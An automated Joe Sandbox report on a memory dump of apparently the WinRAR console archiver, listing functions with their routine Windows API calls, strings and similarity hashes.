Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CreateDirectory$FolderFromListLocationMallocPathSpecial
String ID: WinRAR
API String ID: 977838571-3970807970
Opcode ID: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction ID: ffeb8c00326c204880690242a401253c07f449bbf6c083e0fed8181191d23f15
Opcode Fuzzy Hash: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction Fuzzy Hash: 62216F16A08A8281EE54DF2AF8552BE6770BF8DBD0B485031EF0E87765DF3CE4458700

Function 00007FF6BBD1978C Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNELBASE(?,?,?,?,?,?,?,00007FF6BBD13CEF,?,?,00000000,00007FF6BBD13CAA,?,?,00000000,00007FF6BBD13FD9), ref: 00007FF6BBD197A5
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6BBD13CEF,?,?,00000000,00007FF6BBD13CAA,?,?,00000000,00007FF6BBD13FD9), ref: 00007FF6BBD19807
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6BBD13CEF,?,?,00000000,00007FF6BBD13CAA,?,?,00000000,00007FF6BBD13FD9), ref: 00007FF6BBD19841
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6BBD13CEF,?,?,00000000,00007FF6BBD13CAA,?,?,00000000,00007FF6BBD13FD9), ref: 00007FF6BBD1986B

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 364642b671081880708a9fd88c74d382691b826692dc9b7a9f4ea86390b8b8db
Instruction ID: 3da73b643b6c687e04f1c83ebf038dd4d3441d2ca58ae98e7c3a734390f439de
Opcode Fuzzy Hash: 364642b671081880708a9fd88c74d382691b826692dc9b7a9f4ea86390b8b8db
Instruction Fuzzy Hash: 0A214121E197A185E6288F1AA440229A6A4FF5CFD0F4C4335DF9EA7BB4DF3CE4528744

Function 00007FF6BBCD1C74 Relevance: 6.1, APIs: 4, Instructions: 55fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,?,00007FF6BBCD21A7,00000000,00000028,?,00007FF6BBCC7792), ref: 00007FF6BBCD1C97
ReadFile.KERNELBASE ref: 00007FF6BBCD1CB6
GetLastError.KERNEL32 ref: 00007FF6BBCD1CEA
GetLastError.KERNEL32 ref: 00007FF6BBCD1D08

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 292f130439141af7737bd2c92edf84b453f5fe027529f60c064a2129a7dd684d
Instruction ID: 8b90823c10bf64a59ebc974be295f1b29833fb824dd4645b7852113336a5dc9c
Opcode Fuzzy Hash: 292f130439141af7737bd2c92edf84b453f5fe027529f60c064a2129a7dd684d
Instruction Fuzzy Hash: 0F219035E8C94681EA60CB2AF40833A62B4BF89B94F205531EB99C76E5CF3DD8818741

Function 00007FF6BBCC49F8 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205COMMON

Download Yara Rule

Strings

AFUM, xrefs: 00007FF6BBCC4B8C
default.sfx, xrefs: 00007FF6BBCC4AB0

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID:
String ID: AFUM$default.sfx
API String ID: 0-2491287583
Opcode ID: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
Instruction ID: 801ce4505cd3594f32c35cc0aa3b4417f52e4b9923a07f7da0fe8a095c8003eb
Opcode Fuzzy Hash: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
Instruction Fuzzy Hash: B481C126E0CA9280EB70DB1991593BD22B0BF69784F44C031EF8D876F6DF6DA585C790

Function 00007FF6BBD165BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6BBD1662E
GetFileType.KERNELBASE ref: 00007FF6BBD16644

Strings

@, xrefs: 00007FF6BBD1666F

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: ac2df8724446a0d51fe7f393cd596ff3ce055ba98acd5cb21c7dcdd1beef0449
Instruction ID: fc6bf0d7a6a2ca692df59d6db2f01e031e3e8dd2ab40efe6324bff5c3917f8e2
Opcode Fuzzy Hash: ac2df8724446a0d51fe7f393cd596ff3ce055ba98acd5cb21c7dcdd1beef0449
Instruction Fuzzy Hash: 21218922E1876241EB688B2DD4901392655FB4A774F2C5375D76E477F8CE3CD481C305

Function 00007FF6BBCFB9BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FF6BBCFB9F8
SetThreadPriority.KERNEL32 ref: 00007FF6BBCFBA4E

Part of subcall function 00007FF6BBCCCDA4: wcschr.LIBVCRUNTIME ref: 00007FF6BBCCCE0F
Part of subcall function 00007FF6BBCCCDA4: wcschr.LIBVCRUNTIME ref: 00007FF6BBCCCE22

Part of subcall function 00007FF6BBCCCA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF6BBCCCEDE

Strings

CreateThread failed, xrefs: 00007FF6BBCFBA06

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Threadwcschr$CreateExceptionPriorityThrow
String ID: CreateThread failed
API String ID: 1217111108-3849766595
Opcode ID: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
Instruction ID: 6751663255197736d8a50cd4ece211c3ff2767b540d7b8f76193675932fa91ec
Opcode Fuzzy Hash: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
Instruction Fuzzy Hash: 49114F31A08A4292EB09DF19E8442BE7370FF98784F544136DB9D86679DF7CE546C740

Function 00007FF6BBCFBB80 Relevance: 4.5, APIs: 3, Instructions: 30COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00007FF6BBCFBB79), ref: 00007FF6BBCFBBB9
SetEvent.KERNEL32 ref: 00007FF6BBCFBBCF
LeaveCriticalSection.KERNEL32 ref: 00007FF6BBCFBBD8

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave
String ID:
API String ID: 3094578987-0
Opcode ID: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction ID: 86bccde3141c975d57445bf6e820a5b8b47bb0f6ab270ba694f704e39a79b676
Opcode Fuzzy Hash: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction Fuzzy Hash: 10F06D22A08A8682EA24DF29E5440BD6370FFCDBD8F040271DF9D46679CF2CD5498B00

Function 00007FF6BBCC7B44 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,00007FF6BBCC7A9E), ref: 00007FF6BBCC7B4A
GetFileType.KERNELBASE(?,?,?,00007FF6BBCC7A9E), ref: 00007FF6BBCC7B56
GetConsoleMode.KERNEL32(?,?,?,00007FF6BBCC7A9E), ref: 00007FF6BBCC7B69

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ConsoleFileHandleModeType
String ID:
API String ID: 4141822043-0
Opcode ID: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction ID: d13fdde27ca06155c1bbeb5ac15739f72fe1111ade15345ceeda123f962e4a13
Opcode Fuzzy Hash: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction Fuzzy Hash: 79E08C20E04A4242EA588B29A8691380261FF5DB80F502034DA0FCA370EE2C94858310

Function 00007FF6BBD12488 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6BBD1246C), ref: 00007FF6BBD124B0
TerminateProcess.KERNEL32(?,?,?,00007FF6BBD1246C), ref: 00007FF6BBD124BB
ExitProcess.KERNEL32 ref: 00007FF6BBD124CA

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
Instruction ID: 8c750fbe3597ee437eceada4f2ba66f8c3350c51c20e6d1d811a44c4d3d3b341
Opcode Fuzzy Hash: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
Instruction Fuzzy Hash: AAE01A20A08B5646EB4C6B28A8817792352BFAC741F045A38CE0E823A2CE3EA4098250

Function 00007FF6BBCD4044 Relevance: 3.3, APIs: 2, Instructions: 336COMMON

Download Yara Rule

APIs

OemToCharA.USER32 ref: 00007FF6BBCD4255
ExpandEnvironmentStringsW.KERNEL32(?,?,00000000,?,?,?,?,?,00007FF6BBCB6CD9), ref: 00007FF6BBCD447C

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CharEnvironmentExpandStrings
String ID:
API String ID: 4052775200-0
Opcode ID: a3ba1b03603a475655284a6a52820d5ab219f11978c107c81e75b3572b44f527
Instruction ID: e1860d58c5b6f307c1d601193b8466717ef858110db6f96f0f80e1873889b53f
Opcode Fuzzy Hash: a3ba1b03603a475655284a6a52820d5ab219f11978c107c81e75b3572b44f527
Instruction Fuzzy Hash: 68E1D426A9868286EB30CF28E4591BE67B0FB59794F444131DB9D87AF9DF7CE481C700

Function 00007FF6BBCD1AF0 Relevance: 3.1, APIs: 2, Instructions: 85fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000800,?,00000000,00007FF6BBCC7EBE,00000000,00000000,00000000,00000000,00000007,00007FF6BBCC7C48), ref: 00007FF6BBCD1B8D
CreateFileW.KERNEL32(?,?,00000800,?,00000000,00007FF6BBCC7EBE,00000000,00000000,00000000,00000000,00000007,00007FF6BBCC7C48), ref: 00007FF6BBCD1BD7

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction ID: 6414cde3780e3bf09682048fe3e497bfd21a08f9f3db79de99961f61c549e301
Opcode Fuzzy Hash: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction Fuzzy Hash: F13124A3A5868546F730DF28E4093A936A0FB48B78F105334DB6C866E5DF7CD585C700

Function 00007FF6BBCB681C Relevance: 3.1, APIs: 2, Instructions: 75COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6BBCB68AE
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6BBCB68BF

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: e0b6576285a1405d5c99e18f7cacf33152f7ca5f18a954e7e6124ed6b2dff56f
Instruction ID: 67644977c0d9c06b0a19f511c8c0f99975eb0b50d2453e55f9a6c1623ef681b6
Opcode Fuzzy Hash: e0b6576285a1405d5c99e18f7cacf33152f7ca5f18a954e7e6124ed6b2dff56f
Instruction Fuzzy Hash: D7212163A18E8582EB11CF29D5511BC6370FB9CB88B18A331DF9D42666EF28E5E58300

Function 00007FF6BBCE915C Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF6BBCE91CA
new.LIBCMT ref: 00007FF6BBCE91F2

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a42658d34a1fb92fbd8d718425b99dc084056a970e35fbbcb39c16e60e17b306
Instruction ID: 1593a0f6320ffdf65c572e48227819ac0300a234337f4eb168f4866e81c3dfb3
Opcode Fuzzy Hash: a42658d34a1fb92fbd8d718425b99dc084056a970e35fbbcb39c16e60e17b306
Instruction Fuzzy Hash: F4119031909B8281EA04EB68A5193ADB2A4FF98790F244635EB9D877F6DF7CE051C314

Function 00007FF6BBCD20B4 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00007FF6BBCD22EE), ref: 00007FF6BBCD211B
GetLastError.KERNEL32(?,?,?,00007FF6BBCD22EE), ref: 00007FF6BBCD2126

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
